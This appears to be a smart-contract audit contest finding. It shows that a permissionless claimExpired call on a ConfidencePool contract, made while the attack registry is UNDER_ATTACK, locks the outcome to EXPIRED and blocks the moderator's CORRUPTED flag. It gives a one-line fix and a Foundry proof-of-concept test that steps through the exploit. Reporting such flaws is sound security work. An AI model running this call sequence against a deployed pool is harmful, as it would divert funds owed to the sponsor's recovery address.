FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: high
Likelihood: high

Permissionless Fund Retention via claimExpired Race

Author Revealed upon completion

Summary

If a pool expires while the BattleChain registry is in UNDER_ATTACK before transitioning to CORRUPTED, calling claimExpired auto-resolves the pool to EXPIRED and sets claimsStarted = true. This permanently locks the outcome, blocking the moderator from flagging CORRUPTED when the registry transitions post-expiry. Stakers withdraw all funds, leaving zero recovery funds for the sponsor. This creates a race condition where attacker has call claimexpired before moderator can flag corrupted.

Description

The claimExpired function is completely permissionless and can be invoked by any caller (including non-stakers, bots, or an attacker) once block.timestamp >= expiry.

If the registry is in UNDER_ATTACK at expiry, any caller can trigger the auto-resolution. This sets outcome = PoolStates.Outcome.EXPIRED and unconditionally latches claimsStarted = true (lines 566-575). Once set, any corrective flagOutcome call by the moderator reverts:

if (outcome != PoolStates.Outcome.UNRESOLVED && claimsStarted) revert OutcomeAlreadySet();

This allows an attacker or a bot to front-run the registry transition or moderator flag the block the pool expires, locking the outcome to EXPIRED and preventing recovery sweeps.

Risk

  • Severity: High / Critical

  • Likelihood: Medium-High (registry updates or moderator actions lag pool expiry).

  • Impact: Critical (complete diversion of recovery/bounty funds to stakers).

Important: Unlike the no-risk-window race (where bonus sweeps to recovery and principal can still be recovered via CORRUPTED flag), this variant permanently diverts ALL funds. Once stakers claim under EXPIRED lock, the pool balance is zero. The moderator cannot re-flag CORRUPTED (reverts OutcomeAlreadySet) and cannot recover any funds they have already been paid out to stakers.

Mitigation

Remove the unconditional claimsStarted = true assignment from the claimExpired auto-resolution block in src/ConfidencePool.sol. Let the outcome remain overrideable by the moderator until a staker actually claims their payout (which sets claimsStarted = true at line 600).

@@ -569,3 +569,2 @@
outcomeFlaggedAt = expiry;
emit OutcomeFlagged(address(0), PoolStates.Outcome.EXPIRED, false, address(0));
}
- claimsStarted = true;

Proof of Concept (PoC)

Run command:

forge test --match-path 'test/unit/ClaimExpiredRaceLocksModerator.t.sol' -vv

Below is the unit test simulating this attack flow:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
/// @notice POC for a permissionless bug: any caller can use claimExpired post-expiry
/// while the registry is in a non-terminal state (e.g. UNDER_ATTACK) to finalize the
/// outcome as EXPIRED and set claimsStarted=true. This locks the moderator out of
/// flagging CORRUPTED even if the registry later transitions to CORRUPTED.
/// Result: stakers permissionlessly extract principal + bonus that should have been
/// swept to recoveryAddress under a CORRUPTED resolution.
/// This is realistic: the registry update or moderator reaction can lag the expiry.
/// The bug is in the permissionless claimExpired path (see protocol-analysis.json).
contract ClaimExpiredRaceLocksModeratorTest is BaseConfidencePoolTest {
function test_POC_permissionlessClaimExpiredLocksExpired_PreventingLaterCorruptedFlag() external {
// --- Setup: realistic pool with stake and bonus ---
_stake(alice, 100 * ONE);
_stake(bob, 50 * ONE);
_contributeBonus(carol, 30 * ONE);
// Open the risk window (UNDER_ATTACK). This is allowed and intentional per design,
// but it means riskWindowStart will be nonzero, so bonus will be paid on EXPIRED.
_passThroughUnderAttack();
// --- Advance to expiry while registry is still non-terminal (active-risk) ---
// Per DESIGN.md §2, claimExpired intentionally resolves EXPIRED in this state.
// The issue is that it also sets claimsStarted, locking future moderator action.
vm.warp(pool.expiry());
// Sanity: registry is still UNDER_ATTACK, not CORRUPTED.
assertEq(
uint256(attackRegistry.getAgreementState(agreement)),
uint256(IAttackRegistry.ContractState.UNDER_ATTACK)
);
// --- Permissionless call to claimExpired (by a staker or even a non-staker) ---
// This finalizes the outcome based on current (non-CORRUPTED) registry state.
uint256 aliceBefore = token.balanceOf(alice);
vm.prank(alice); // permissionless; could be any EOA or contract
pool.claimExpired();
// --- Outcome is now EXPIRED and locked ---
assertEq(uint256(pool.outcome()), uint256(PoolStates.Outcome.EXPIRED));
assertTrue(pool.claimsStarted(), "claimsStarted must be set by claimExpired");
// Alice (staker) received principal + k=2 bonus share (because risk was observed).
uint256 alicePayout = token.balanceOf(alice) - aliceBefore;
assertGt(alicePayout, 100 * ONE, "staker should receive principal + bonus under EXPIRED");
// Bob can also claim (same outcome).
uint256 bobBefore = token.balanceOf(bob);
vm.prank(bob);
pool.claimExpired();
uint256 bobPayout = token.balanceOf(bob) - bobBefore;
assertGt(bobPayout, 50 * ONE);
// Total paid to stakers: 150 principal + 30 bonus.
// In a CORRUPTED resolution, this would have gone to recovery (bad-faith) or attacker (good-faith).
assertEq(token.balanceOf(recovery), 0, "recovery received nothing");
// --- Later, the registry transitions to CORRUPTED (breach confirmed / on-chain update) ---
attackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
// --- Moderator attempts to flag CORRUPTED (the "correct" outcome) ---
// This MUST revert because claimExpired already set claimsStarted.
// The permissionless actor has permanently locked the wrong resolution.
vm.prank(moderator);
vm.expectRevert(IConfidencePool.OutcomeAlreadySet.selector);
pool.flagOutcome(PoolStates.Outcome.CORRUPTED, false, address(0));
// --- Consequence: funds that should be under moderator control for CORRUPTED
// (swept via claimCorrupted or bounty) have been paid out to stakers.
// This is a permissionless theft / retention of funds on a breached agreement.
// The total extracted by stakers equals the entire pool (stake + bonus).
uint256 totalExtracted = alicePayout + bobPayout;
assertEq(totalExtracted, 180 * ONE, "stakers extracted full pool value via EXPIRED lock");
}
function test_POC_nonStakerCanLockExpiredAllowingStakersToClaimLater() external {
// Demonstrate that a non-staker can permissionlessly lock the outcome,
// after which stakers can still claim via claimExpired.
_stake(alice, 100 * ONE);
_passThroughUnderAttack();
vm.warp(pool.expiry());
// Non-staker (dave) calls claimExpired to auto-resolve while registry non-terminal.
vm.prank(dave);
pool.claimExpired();
assertEq(uint256(pool.outcome()), uint256(PoolStates.Outcome.EXPIRED));
assertTrue(pool.claimsStarted());
// Staker can still claim their share after the non-staker locked it.
uint256 aliceBefore = token.balanceOf(alice);
vm.prank(alice);
pool.claimExpired();
assertGt(token.balanceOf(alice) - aliceBefore, 0);
// Moderator is still locked out.
attackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
vm.prank(moderator);
vm.expectRevert(IConfidencePool.OutcomeAlreadySet.selector);
pool.flagOutcome(PoolStates.Outcome.CORRUPTED, false, address(0));
}
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!